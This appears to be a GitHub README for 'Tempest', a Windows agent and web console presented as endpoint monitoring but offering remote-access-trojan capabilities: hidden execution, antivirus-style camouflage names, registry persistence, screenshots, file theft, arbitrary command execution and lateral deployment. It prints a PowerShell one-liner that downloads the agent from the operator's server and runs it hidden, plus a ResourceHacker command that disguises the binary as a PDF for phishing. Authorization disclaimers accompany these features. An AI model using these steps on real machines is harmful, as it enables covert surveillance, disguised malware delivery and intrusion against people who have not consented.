Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

2 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

Tempest

⚑ Tempest

Security Endpoint Monitoring & Response β€” see through the storm.

Deploy a lightweight Go agent to every Windows endpoint. Watch each device report in to a single console in real time β€” security posture, running processes, open connections, persistence entries, and screenshots β€” then respond: isolate, terminate, remediate, or roll back, all without touching the keyboard of the target machine.

License: MIT Platform Go Next.js PostgreSQL Build Release LinkedIn

πŸš€ Quickstart Β· ✨ Features Β· βš™οΈ Architecture Β· πŸ“– Console Guide Β· πŸ› οΈ Build Agent Β· πŸ“¦ Packaging Β· ⚠️ Disclaimer

Tempest β€” See through the storm

🧩 The Problem

Blue teams and security operators often have no single pane of glass for what's happening across their Windows endpoints right now. You know an alert fired, but you don't know if the process is still running, which account spawned it, or whether persistence was established β€” without SSHing in or deploying a full EDR suite.

Tempest is a self-hosted, lightweight alternative: a compact Go agent runs silently on each endpoint, streams telemetry to a central Next.js console, and gives the operator live visibility plus a direct response capability β€” all from a browser tab, with no third-party cloud required.

⚠️ Tempest is an authorized-use-only security operations tool. Deploy it only on networks and devices you own or are explicitly permitted to monitor. See DISCLAIMER.md.

✨ Key Features

Agent (Go, Windows)

  • 🀫 Silent deployment β€” runs as a hidden background process; camouflage filenames (antivirus.exe / avupdater.exe) for realistic lab environments.
  • 🩺 Security posture scoring β€” device auto-classified A/B/C/D based on privilege level and real-time AV status (Windows Defender telemetry).
  • πŸ“‘ Continuous telemetry β€” heartbeat, OS info, local IP, uptime, logged-in user, admin status, AV state, software inventory, listening ports, active network connections, persistence entries (registry Run keys, Startup folder, scheduled tasks, services, Winlogon).
  • πŸ”” Automatic alerts β€” new account creation, privilege escalation, and network/posture anomalies surfaced as push alerts to the console.
  • πŸ” Encrypted transport β€” AES-256 encrypted payloads; payload header mutation on each build for uniqueness.
  • πŸ” Self-persistence β€” optional registry persistence and watchdog process to survive reboots and accidental termination.
  • πŸ› οΈ In-field rebuild β€” console can cross-compile a fresh agent binary with the correct collector URL embedded at runtime (no manual Go setup on endpoints).

Console (Next.js + PostgreSQL)

  • πŸ–₯️ Live device grid β€” all registered endpoints with posture class, last seen, OS, IP, user, and AV status; auto-refreshes every 15 s.
  • πŸ”” Alert centre β€” timestamped, severity-tagged alerts from all agents in one view.
  • πŸ“Š Deep-dive per device β€” System Overview Β· Software Audit Β· Listening Ports Β· Active Connections Β· Persistence & Autorun Β· Command History.
  • πŸ“Έ Live screenshot β€” on-demand capture and gallery, stored on the server.
  • πŸ“‚ Remote file manager β€” browse the endpoint's filesystem, collect individual files to the server.
  • βš™οΈ Process control β€” live process list with PID, name, CPU, user; kill any process remotely.
  • 🌐 Network isolation β€” one click cuts all outbound/inbound traffic on the target (Windows Firewall block-all), keeping only the collector tunnel open; reversible from the console.
  • πŸ”§ Agent control β€” dormant mode (pause telemetry), re-enable, full uninstall + self-cleanup, or rollback to a previous binary.
  • πŸ–±οΈ Remote RDP / privilege panel β€” enable RDP with NLA, manage local admin group, lock screen, force reboot or shutdown.
  • πŸ’» Audit console β€” send arbitrary cmd.exe / PowerShell commands, see output inline; full per-device command history.
  • πŸ” Network discovery β€” passive ARP + active ICMP/port sweep of the operator's local subnets; one-click agent deployment to discovered hosts via PsExec, WMI, or SCP.
  • 🎯 Simulation & Compliance Map β€” run/replay attack simulations and map findings against a compliance checklist.
  • πŸ› οΈ In-console agent builder β€” compile a custom tempest_agent.exe (with embedded URL) directly from the browser; file served for immediate download and lateral deployment.

πŸ–ΌοΈ Screenshots

Add screenshots to assets/ and uncomment the lines below.

βš™οΈ Architecture

 β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
 β”‚                   Operator Browser                       β”‚
 β”‚              Next.js Console  (port 3000)               β”‚
 β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                        β”‚  REST API  (HTTP/HTTPS)
                        β–Ό
 β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
 β”‚              Next.js API Routes  (src/web)              β”‚
 β”‚  /api/agent/*  ← agent-facing   (register, heartbeat,  β”‚
 β”‚                                  upload, command-result)β”‚
 β”‚  /api/admin/*  ← operator-facing (devices, alerts,     β”‚
 β”‚                                  commands, build-agent) β”‚
 β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
                        β”‚  pg driver
                        β–Ό
 β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
 β”‚            PostgreSQL  (tempest_db)                     β”‚
 β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

 Windows Endpoint A  β†’  tempest_agent.exe  ──┐
 Windows Endpoint B  β†’  tempest_agent.exe  ───── HTTP polling ──► /api/agent/*
 Windows Endpoint C  β†’  tempest_agent.exe  β”€β”€β”˜

The agent polls outbound only β€” the server never initiates a connection to an endpoint. This means agents behind NAT or strict firewalls work without port-forwarding, as long as they can reach the collector URL on port 3000.

πŸ’» System Requirements

Component Requirement
Console server Node.js 20+, PostgreSQL 14+, any OS (Linux recommended)
Agent target Windows 10 / 11, 64-bit
Operator browser Any modern browser (Chrome / Edge / Firefox)
Agent build (optional) Go 1.21+ on the console server for in-console compilation

πŸš€ Quickstart

1 β€” Database

# Create the database (PostgreSQL must be running)
psql -U postgres -c "CREATE DATABASE tempest_db;"

# Run the schema repair/init script
psql -U postgres -d tempest_db -f src/web/_run/fix_database.sql

Or on Windows, double-click src/web/_run/fix_database.bat.

2 β€” Console (Next.js)

cd src/web

# Copy and fill environment variables
cp .env.example .env
# Edit .env:
#   DATABASE_URL="postgresql://postgres:<password>@localhost:5432/tempest_db"
#   ADMIN_PRIVATE_KEY_HEX="<your-32-byte-hex-key>"

npm install
npm run dev        # http://localhost:3000
# or for production:
npm run build && npm start

On Windows, double-click src/web/start.bat (wraps npm start with a titled console window).

3 β€” Agent

Option A β€” Pre-built binary (lab / quick test)

  1. Open the console at http://<server>:3000.
  2. Navigate to Build & Deploy Agent.
  3. Enter the collector URL (e.g. http://192.168.1.10:3000), click Compile & Download β†’ tempest_agent.exe is downloaded.
  4. Copy tempest_agent.exe to the target Windows machine and run it (double-click, or .\tempest_agent.exe in CMD).
  5. The device appears in the Devices grid within seconds.

Option B β€” Build from source (recommended for production)

cd src/agent
go build -ldflags "-s -w -H=windowsgui -X main.DefaultCollectorURL=http://<server>:3000" \
  -o tempest_agent.exe

Copy the resulting tempest_agent.exe to target endpoints and execute.

4 β€” (Optional) Self-persistence on the agent

From the console, open a device β†’ Agent Control tab β†’ Install Persistence. The agent will write a registry Run key and spawn a watchdog process so it survives reboots automatically.

πŸ“– Console Guide

Device grid

Column Meaning
Class Posture class: A (admin, no AV) Β· B (user, no AV) Β· C (admin, AV active) Β· D (user, AV active)
Last seen Seconds since last heartbeat; turns red when agent appears offline
AV Windows Defender real-time protection state
User Currently logged-in user

Click any device row to open its deep-dive panel.

Deep-dive tabs (per device)

Tab What you see
πŸ“Š System Overview OS, uptime, IP, security score, Defender telemetry, privilege controls
πŸ“¦ Software Audit Installed programs list
πŸ”Œ Listening Ports All TCP/UDP ports the endpoint is bound to
🌐 Active Connections Live netstat β€” remote IP, state, PID
πŸ” Persistence Registry Run, Startup folder, scheduled tasks, services, Winlogon entries
πŸ“‹ Command History Every command sent to this device and its result

Response tabs (per device)

Tab What you can do
πŸ“Έ Live Screenshot Capture now, browse history gallery
πŸ“‚ File Manager Browse filesystem tree, collect files to server
βš™οΈ Process Control View live process list, kill by PID
πŸ”§ Agent Control Dormant mode, re-enable, uninstall, rollback binary
πŸ–₯️ RDP & Privileges Enable RDP/NLA, manage local admins, lock screen, reboot/shutdown
πŸ’» Audit Console Run cmd / PowerShell commands inline

Network Discovery

Navigate to Network Discovery from the top nav. Tempest sweeps the operator's visible subnets (ARP + ICMP + quick port probe), lists each host with open port fingerprint, then offers one-click agent deployment via PsExec, WMI, or SCP depending on what's reachable.

πŸ› οΈ Build & Deploy Agent

The in-console builder (/api/admin/build-agent) cross-compiles the Go agent source in src/agent/ using the collector URL you enter, outputs tempest_agent.exe to src/web/public/, and serves it immediately for download or direct pull by discovered hosts:

# Pull and run from a target (PowerShell, one-liner)
$url = 'http://<server>:3000/tempest_agent.exe'
Invoke-WebRequest -Uri $url -OutFile 'C:\Users\Public\tempest_agent.exe'
Start-Process 'C:\Users\Public\tempest_agent.exe' -WindowStyle Hidden

The builder requires Go 1.21+ installed on the console server.

πŸ”’ Security Notes

  • Change ADMIN_PRIVATE_KEY_HEX before any deployment β€” this key protects agent↔server payload integrity. Generate a new one: openssl rand -hex 32
  • The console has no built-in authentication. Place it behind a VPN, reverse proxy with HTTP Basic Auth, or a private network segment. Do not expose port 3000 to the public internet.
  • Agent traffic is AES-256 encrypted but not TLS by default. For production, put the console behind an HTTPS reverse proxy (Nginx/Caddy).

πŸ—ΊοΈ Roadmap

  • v4.0 (current) β€” Go agent with AES-256 transport, posture scoring, network isolation, in-console build, network discovery, file manager, remote commands.
  • v4.1 β€” HTTPS/TLS support built-in, console authentication (JWT), alert webhooks (Slack / email).
  • v4.2 β€” Linux agent port, macOS agent port, multi-operator roles.
  • v5.0 β€” Agent signing & attestation, certificate pinning, full audit trail export (PDF/CSV).

πŸ“¦ Agent Packaging (Social-Engineering Simulation)

The packaging/ folder contains tooling for disguising the agent binary as a convincing decoy file (e.g. a PDF document) for authorized phishing simulations and physical red-team exercises.

packaging/
β”œβ”€β”€ tempest_agent.exe     base agent binary (before repackaging)
β”œβ”€β”€ ResourceHacker.exe    icon / resource editor
β”œβ”€β”€ pdf.ico               PDF icon β€” disguise agent as a document
β”œβ”€β”€ commands.txt          ready-to-use ResourceHacker commands
└── STAGING_GUIDE.md      full workflow documentation

Quick example β€” swap the icon and rename for the engagement:

ResourceHacker.exe -open tempest_agent.exe ^
  -save "Company_Policy_2026.exe" ^
  -action addoverwrite -res pdf.ico -mask ICONGROUP,1,1033

See packaging/STAGING_GUIDE.md for the complete workflow, temp-storage internals, and cleanup procedure.

⚠️ Use only in engagements with explicit written authorization. See DISCLAIMER.md.

🀝 Contributing

Issues and PRs welcome β€” see CONTRIBUTING.md.

Found a security issue in the platform? Report it via SECURITY.md β€” please don't open a public issue.

⚠️ Disclaimer

Tempest is for authorized security monitoring and educational use only. Deploy and use this tool only on networks and devices you own or have explicit written permission to monitor. See DISCLAIMER.md.

πŸ“„ License

MIT Β© Abil Khosim.


πŸ‘€ Developed by Abil Khosim

Cybersecurity Specialist

LinkedIn GitHub

Tempest is an original project by Abil Khosim, an independent security tool by Abil Khosim (NoxNull). Released under the MIT License β€” Β© 2026 Abil Khosim. Please keep this attribution when reusing or redistributing.

Calm at the center. Total visibility at the edge. ⚑

About

🌩️ Tempest β€” Cyber Resilience Simulation Platform featuring realistic attack scenarios, ransomware simulations, and automated validation for security exercises.

Topics

Resources

Contributing

Security policy

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages